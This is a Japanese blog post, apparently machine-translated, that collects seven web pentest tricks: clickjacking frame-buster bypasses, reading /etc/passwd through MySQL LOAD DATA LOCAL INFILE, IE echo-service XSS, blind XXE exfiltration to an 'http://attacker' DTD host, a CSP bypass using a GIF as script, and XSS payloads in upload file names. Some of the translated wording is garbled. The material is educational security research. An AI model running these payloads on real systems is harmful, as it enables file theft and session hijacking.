Webアプリケーションのセキュリティを分析するためのトリックの選択

みなさんこんにちは！ このトピックは、Webアプリケーションのセキュリティ（最高度）を分析する際のさまざまなトリックに専念します。 時々、ある種の保護を迂回するか、これらの制限から抜け出すか、単に明白でない場所をテストする必要がある状況に出くわします。 そして、この投稿はそれについてです！ 猫へようこそ。

秘＃＃1-クリックジャック保護のバイパス

クリックジャッキング （クリックジャッキング）は、インターネットユーザーを欺くためのメカニズムです。攻撃者は、明らかに無害なページに誘導するか、安全なページに悪意のあるコードを挿入することにより、機密情報にアクセスしたり、ユーザーのコンピューターにアクセスしたりすることができます。 原則は、目に見えないレイヤーが目に見えるページの上部にあり、そこに攻撃者に必要なページがロードされ、必要なアクションを実行するために必要なコントロール要素（ボタン、リンク）が目に見えるリンクまたはユーザーによってクリックされると予想されるボタンと組み合わされるという事実に基づいています。 ソーシャルネットワークのリソースの購読から、機密情報の盗用、他の人の費用でオンラインストアでの購入まで、この技術のさまざまなアプリケーションが可能です（C） http://ru.wikipedia.org/wiki/Klickjacking

この攻撃では、フレームにリソースを表示する必要があります。保護する正しい方法は、必要な制限付きでX-Frame-Optionsヘッダーを追加することです（通常、フレームにリソースを全員に表示することは禁止されています）。

しかし、かなり多数のサイトで同様のコードを見つけることができます。

if (self !== top) { top.location = self.location; }
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

Javascript。これを使用して、リソースはフレームから「ジャンプ」しようとします。 また、この保護を回避する方法は2つあります。

1.競合状態

アンロードウィンドウに新しいリスナーを「ハング」させ、ウィンドウ全体を競合状態にすることができます

 var kill_bust = 0 window.onbeforeunload = function(){kill_bust++}; setInterval(function() { if (kill_bust > 0) { kill_bust -= 2; top.location = '204.php'; }}, 1);
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

204.phpは次のスクリプトです

 header("HTTP/1.0 204 No Response");
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

その結果、サイトをフレームから「ジャンプ」させないでください。

2. HTML5標準を使用する

フレームをサンドボックスモードで開くことにより、フレーム内のスクリプトのアクションを制限できます。

 <iframe src="http://victim.com" sandbox=" allow-forms allow-scripts" />
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

これらの方法は、ZeroNightsワークショップで議論されました： 2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-_Hacking_HTML5.pdf

秘＃＃2-file_privを使用せずにMySQLでファイルを読み取る

ファイルは、ユーザーが設定したファイル権限でのみMySQLで読み取ることができると考えられています。 しかし、これは完全に真実ではありません。 テーブルを作成する権利がある場合、file_privなしでテーブルを作成するときにファイルを読み取ることができます。

 LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

そして

 select * from test;
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

このトピックは、 rdotフォーラムで議論されています。

トリック＃3-XSSのエコーサービスの使用

このトリックは、非常に特定のXSS用のPoCの作成に適用されます。 要求されたコンテンツを単にフィードバックするエコーサービスを想像してください。 HTTP経由でアクセスすると、HTTPリクエストがすべて返されます。 そして、 victim.comのようなものを要求した場合：1024 / <script> alert（1）</ script>？ その後、彼はHTTPリクエスト全体を私たちに返します。最初はXSSです。 しかし、2つのポイントがあります。

1. HTTPリクエストへの応答は正しくありません（プロトコルバージョンHTTP 1.X +の場合）が、HTTP 0.9のバージョンではリクエストに正しく応答する必要がないため、一部のブラウザ（Internet Explorer）はそのような回答を表示します。 これは、Michal ZalewskiのThe Tangled Webにあります。
2. サーバーにリクエストを送信する前に、ブラウザーはURLを「安全な」形式に変換します（％20およびアドレスバーの同様のもの）。 その結果、エコーサービスはxss-<script>を含むタグではなく、％3Cscript％3Eを返します。 しかし！ Internet Explrerは、URLの最初の質問（GETパラメーター）の後にデータをエンコードしません。

ただし、ExplorerでURL​​に何もエンコードしないようにする方法があります（この方法は、ペンテスト中に偶然発見されました）。 これは、Locationヘッダーを介してIEリンクをレンダリングすることです

 <?php header("Location: http://victim/ANY_DATA_HERE_WILL_BE_NOT_ENCODED"); ?>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

その結果、エコーサービスの「通常の」リクエストを送信すると、エコーサービスが返されます。 IEがレンダリングします。

次に、論理的な質問が発生しますが、Same Origin Policyはどうですか？ 結局、jsを実行するのは、Webサーバーのポートや攻撃しているサイトとは異なる別のポートでですか？ Internet Explorerでは、このようにSOP検出ではポートは考慮されません。 その結果、このようなトリックは、非常に困難な条件で、ベクターがデータ内にあることを示す（POC）のに役立ちます。 たとえば、SAPの店員が同様のものを見つけました。

秘＃4-ブラインドXMLインジェクションでデータを読み取る

XXEは、XML処理アプリケーションに対する攻撃です。 有効で予期されるデータの代わりに、XMLエンティティが処理用に提供されます。パーサーは、（デフォルトで）最初に解析し、次にすべてのXMLを処理する必要があります。 エンティティとして、ファイルを（たとえば、ニックネームとして）指定して、ニックネームを確認できます（これは/ etc / passwdです）。 しかし、XMLとすべてを送信する状況はありますが、どこにも、答えもありません。 この種のブラインドインジェクションでは、日本語/ PTベクトルを使用できます。



外部アドレスでDTDを使用した最初のXMLの提案：



evil.xml

 <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker/test.dtd" > <foo>&e1;</foo>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

test.dtd

 <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>"> %p2;
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

その結果、XMLパーサーは上記のデータを処理し、ファイルデータが存在する（および既にaccess.logを監視している）パラメーターを使用して、GETエンティティにリクエストを照会しようとします。

秘＃5-GIFファイルからのCSPバイパスとjavascript実行

Content-Security-Policy-ブラウザーにさまざまなデータ（JSなど）を読み込む場所を伝えるヘッダー。その他はすべて禁止されています。 これにより、XSS脆弱性の悪用が大幅に複雑になります。 自己紹介はできますが、jsを実行できます。いいえ、.jsファイルは特定のドメインからのみ許可されます。 ファイルをアップロードできる場合（たとえば、レターに添付する場合）、「悪意のある」非常に有効なGIFファイルを生成できます。

 <script src = "http://domain-in-white-list/evil_image.gif"></script>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

JSが実現します。 FaceBookで使用されるデモ スクリプト 。

秘＃6-「Content-Disposition：attachment」ヘッダーを無視し、ブラウザでスクリプトをレンダリングします。

ここでこのベクターについて詳しく説明しました 。 ポイントは、iOSデバイスがこのヘッダーを無視し、「使用可能な」コンテンツ（html / svg）がブラウザーでレンダリングされることです。 Gmailからの添付ファイルの最後の記事の例。ブラウザで自動的に開かないはずです

GMail

秘＃7-XSSでテストするときの「人気のない」場所

事実-トリックで説明されている場所は、多くのペンテスターの間でXSSをテストする際に非常に人気がありません。



アイデア：ファイルを作成<img src = x onerror = alert（1）>。Jpegし、被害者に送信します。



Linuxシステムでは、その名前のファイルを簡単に作成できます。

  ＃タッチ '<img src = x onerror = alert（1）>。jpeg' 

しかし、Windowsでは-このOSのファイルシステムの機能により、不可能です。 ソリューションは非常にシンプルで、すべてのBurp Proxyトラフィックを開始し、送信の段階でデータを置き換えます

 ------ WebKitFormBoundaryFS9MRFpHBt02jHkz
コンテンツの処理：フォームデータ。  name = "upload [0]";  filename = ""> <img src = x onerror = alert（1）> "

同様に、XSSはGoogle AdWords-c0rni3sm.blogspot.ru/2013/12/google-adwords-stored-xss-from-nay-to.htmlで見つかりました。これは他のユーザーに対して使用できます。



ご清聴ありがとうございました！